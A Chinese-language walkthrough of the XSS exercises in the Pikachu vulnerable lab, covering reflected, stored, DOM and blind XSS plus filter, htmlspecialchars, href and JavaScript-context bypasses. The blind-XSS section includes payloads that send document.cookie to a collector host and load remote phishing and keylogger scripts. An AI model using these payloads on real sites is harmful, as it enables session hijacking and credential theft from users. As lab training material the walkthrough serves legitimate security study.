网站运营系统,设计培训学校,广州建设品牌网站,wordpress图片不加载插件下载地址pikachu - Cross-Site Scripting#xff08;XSS#xff09;
声明#xff01;
笔记只是方便各位师傅的学习和探讨#xff0c;文章所提到的网站以及内容#xff0c;只做学习交流#xff0c;其他均与本人无关#xff0c;切勿触碰法律底线#xff0c;否则后果自负#x…pikachu - Cross-Site ScriptingXSS
声明
笔记只是方便各位师傅的学习和探讨文章所提到的网站以及内容只做学习交流其他均与本人无关切勿触碰法律底线否则后果自负
题记
XSS跨站脚本概述Cross-Site Scripting 简称为“CSS”为避免与前端叠成样式表的缩写CSS冲突故又称XSS。一般XSS可以分为如下几种常见类型
1.反射型XSS; 2.存储型XSS; 3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞在OWASP TOP10的排名中一直属于前三的江湖地位。 XSS是一种发生在前端浏览器端的漏洞所以其危害的对象也是前端用户。 形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。 因此在XSS漏洞的防范上一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤对输入进行过滤不允许可能导致XSS攻击的字符输入; 输出转义根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目来进一步的了解该漏洞。 反射型xss(get)
我们输入123并查看一下源代码可以看到123已经在前端页面出现了。
那么我们输入一下123script看看会出现什么
可以看到123script在前端中显示为“who is 123”后边的“i don’t care!”则消失了。这说明script标签已经被执行了那么我们可以直接构造XSS注入
scriptalert (1)/script但是这时候我们发现一件事情那就是输入框有字符限制导致无法构造完整的XSS注入代码。
但是由于这种字符字数限制一般都是由前端进行验证所以我们可以通过打开开发者工具修改前端源代码来解除一下字符输入的限制。
这时候再输入之前构造的XSS注入代码就能成功注入了但是需要注意的是由于前端代码修改只是临时性的所以每次刷新都需要重新修改字符限制才能输入完整的XSS注入代码。
反射性xss(post)
在第二个模式以POST方式提交中发现输入XSS注入代码并没有效果那就需要考虑一下这是个登录框是否成功登录之后还有新的页面这里用了上一篇文章 pikachu - 暴力破解 爆破出来的账号密码来登录发现三个账号都可以这里我们使用 admin/123456 来登录。
登录之后我们随便输入然后提交再抓个包
能够看到这是一个POST包那对于注入来说它与GET包会有不同吗并不会我们输入构造好的XSS注入代码
scriptalert (1)/script
可以看到依然是能注入成功的。
存储型xss
存储型与反射型最大的区别在于反射型是无法存储只能通过诱骗点击链接来进行触发而存储型则是永久存储被写入数据库的只要用户浏览到被写入XSS注入的代码XSS注入就会生效。而XSS注入可以隐藏在一段文字中也可以隐藏在图片中它的触发方式也很多可以通过鼠标点击甚至是鼠标有经过就能触发。
这里我们构造一个鼠标点击就会生效的XSS注入可以发现不管刷新多少次这个注入都存在。
img src1 οnclickalert(xss)
DOM型xss
DOM型XSS跨站脚本攻击是基于文档对象模型Document Object Model简称DOM的一种漏洞。DOM是HTML文档的对象表示它允许程序和脚本动态访问和更新文档的内容、结构和样式。DOM型XSS的特点是攻击者通过修改页面的DOM节点来注入恶意脚本整个过程在客户端完成不需要与服务器进行交互。
与传统的反射型和存储型XSS不同DOM型XSS的攻击脚本不会被发送到服务器而是在浏览器中通过JavaScript操作DOM时执行。这种攻击方式使得DOM型XSS难以被传统的Web应用防火墙WAF检测到。
我们正常输入一个字符串然后用F12检查一下源代码
可以发现这是一个超链接的标签我们输入作为引用对象。
那么我们可以闭合引用然后通过 onclick 属性来构造XSS注入使用双引号和单引号’测试发现单引号可以进行闭合。 οnclickalert (xss)
DOM型xss-x
DOM-XSS-X 是一种特殊的跨站脚本攻击XSS类型它结合了反射型XSS和DOM型XSS的特点。具体来说DOM-XSS-X 通常涉及到从浏览器的URL中获取输入数据然后通过JavaScript操作DOM来执行恶意脚本。这种攻击方式类似于反射型XSS因为它通过URL参数传递恶意代码但与反射型XSS不同的是DOM-XSS-X 的执行过程完全在客户端进行不需要服务器的参与。
在DOM-XSS-X 中攻击者构造一个包含恶意脚本的URL用户访问该URL时JavaScript代码会从URL中提取参数并将其插入到DOM中执行。由于整个过程不涉及服务器因此这种攻击方式难以被传统的Web应用防火墙WAF检测到。
我们同样输入123然后按F12检查源代码发现一开始会弹出“有些费尽心机想要忘记的事情,后来真的就忘掉了”的超链接点击后生成新的超链接“就让往事都随风,都随风吧”而这个超链接所引用的对象便是我们的输入。
那我们就可以按照之前的方法来进行依然构造XSS注入 οnclickalert (xss)
xss盲打
什么叫盲打顾名思义就是在不知道是否能有返回结果的情况下去进行注入。
我们测试一下这里是否能进行注入。
img src1 onclickalert (1)
然后我们再进入管理后台查看一下后台地址是 IP:Port/vul/xss/xssblind/admin.php账号/密码是admin/123456 说明xss注入被执行了但是如果不登录管理后台的话我们没有回显也不清楚到底注入没只是发个弹窗注入貌似也起不了多大作用
我们把页面往下拉可以发现一个XSS后台
它具有三大模块也是我们在模拟攻击中常用的手段cookie搜集、钓鱼结果、键盘记录
我们先进入cookie搜集模块记下链接。当然一开始是不知道?cookie作为传值但是在目录文件中\pikachu\pkxss\xcookie\cookie.php可以看到
然后构造一个XSS注入代码
scriptdocument.location http://192.168.42.142/pkxss/xcookie/cookie.php?cookie document.cookie;/script接着我们回到XSS盲打模块
点击提交后我们去管理后台刷新一下网页然后再回到获取cookie结果模块可以发现cookie已被成功接收
我们接着来测试一下钓鱼模块
同样的这里我们直接构造一个利用代码就行
script srchttp://192.168.42.142/pkxss/xfish/fish.php/script但是这里我们需要去文件\pikachu\pkxss\xfish\fish.php修改一下将IP改为我们自己的IP 我们把它用留言板提交看看管理后台出现了什么
可以看到有一个登录框我们输入admin/admin看看 可以看到我们的输入已被抓取
接着测试一下获取键盘记录结果
同样的我们先去\pikachu\pkxss\rkeypress\rk.js文件里改一下配置
然后构造XSS注入代码
script srchttp://192.168.42.142/pkxss/rkeypress/rk.js123/script
接着我们再管理后台随便输入一些字符串再切回pikachu Xss 获取键盘记录结果的网页
可以看到键盘的输入已经被抓取成功了
xss之过滤
我们先正常构造一个XSS注入代码看看会显示什么
可以看到被过滤了那么我们怎么绕过
这时候就要说一下HTML和JavaScript的解析机制了。当浏览器解析HTML时它会尝试将输入的文本视为有效的HTML代码即使这些代码没有明确的闭合标签。
例如如果你在HTML中输入divHello/div浏览器会自动闭合这个
标签即使你没有显式地写上闭合标签 /div。这种机制被称为HTML的自我闭合特性。 所以我们构造一个没有’的XSS注入代码便可以完美绕过
img src1 οnclickalert (1)
xss之htmlspecialchars
在进行XSS注入代码的构造前我们应该先了解一下htmlspecialchars()函数是什么。
htmlspecialchars() 是一个 PHP 函数用于将字符串中的特殊字符转换为 HTML 实体。这样可以防止用户输入的文本被浏览器解释为 HTML 或 JavaScript 代码从而防止跨站脚本攻击XSS。
参数 string必需。要转换的字符串。 flags可选。指定要转换哪些特殊字符。常用的值有 ENT_COMPAT默认值。转换双引号为 quot;不转换单引号。ENT_QUOTES转换双引号和单引号。ENT_NOQUOTES不转换任何引号. encoding可选。指定字符集默认为 UTF-8。 double_encode可选。如果设置为 true则已转换的 HTML 实体将被再次转换。默认为 true。
默认要求
flags默认为 ENT_COMPAT即只转换双引号不转换单引号。encoding默认为 UTF-8。double_encode默认为 true即已转换的 HTML 实体将被再次转换。
所以现在我们可以清楚的知道htmlspecialchars()函数会对输入的字符串中的特殊字符转换为HTML实体但是它默认只转换双引号不转换单引号这就给了我们绕过的可能我们构造一下只有单引号的XSS注入代码。
img src1 onclickalert (1)
我们发现我们的输入包含在超链接标签里那么我们首先闭合标签再重新构造一下 οnclickalert (1)
xss之href输出
可以看到我们的输入的特殊符号都被当做超链接的对象没法进行闭合那么我们该怎么绕过这里提一下JavaScript历史遗留的特性。
在早期的 Web 技术中JavaScript 的使用并不像现在这样普遍和强大。将 JavaScript 代码直接嵌入到 HTML 属性中如 href提供了一种简单的方式来实现一些基本的交互功能而无需编写复杂的脚本或事件处理程序。
这种方法允许开发者在不使用 onclick 事件的情况下通过点击链接来触发 JavaScript 代码的执行。javascript协议被引入作为一种允许在 URL 中嵌入 JavaScript 代码的方式。虽然它最初是为了解决一些特定的用例但随着时间的推移它被广泛用于各种场景包括在 href 中使用。
那么在这里我们就可以通过JavaScript特性来进行绕过
javascript:alert(1)
xss之js输出
尝试输入的字符串都被过滤了只留下了这么一句话那么我们该如何绕过观察一下在红框位置是使用双引号进行闭合的那么我们是否可以通过双引号来进行闭合我们试一下。
scriptalert (1)/script
很尴尬输入被吃了。这时候我们脑筋转一下会不会是因为script没有闭合的原因导致输入不被执行。我们闭合一下/script
/scriptscriptalert (1)/script
成功弹出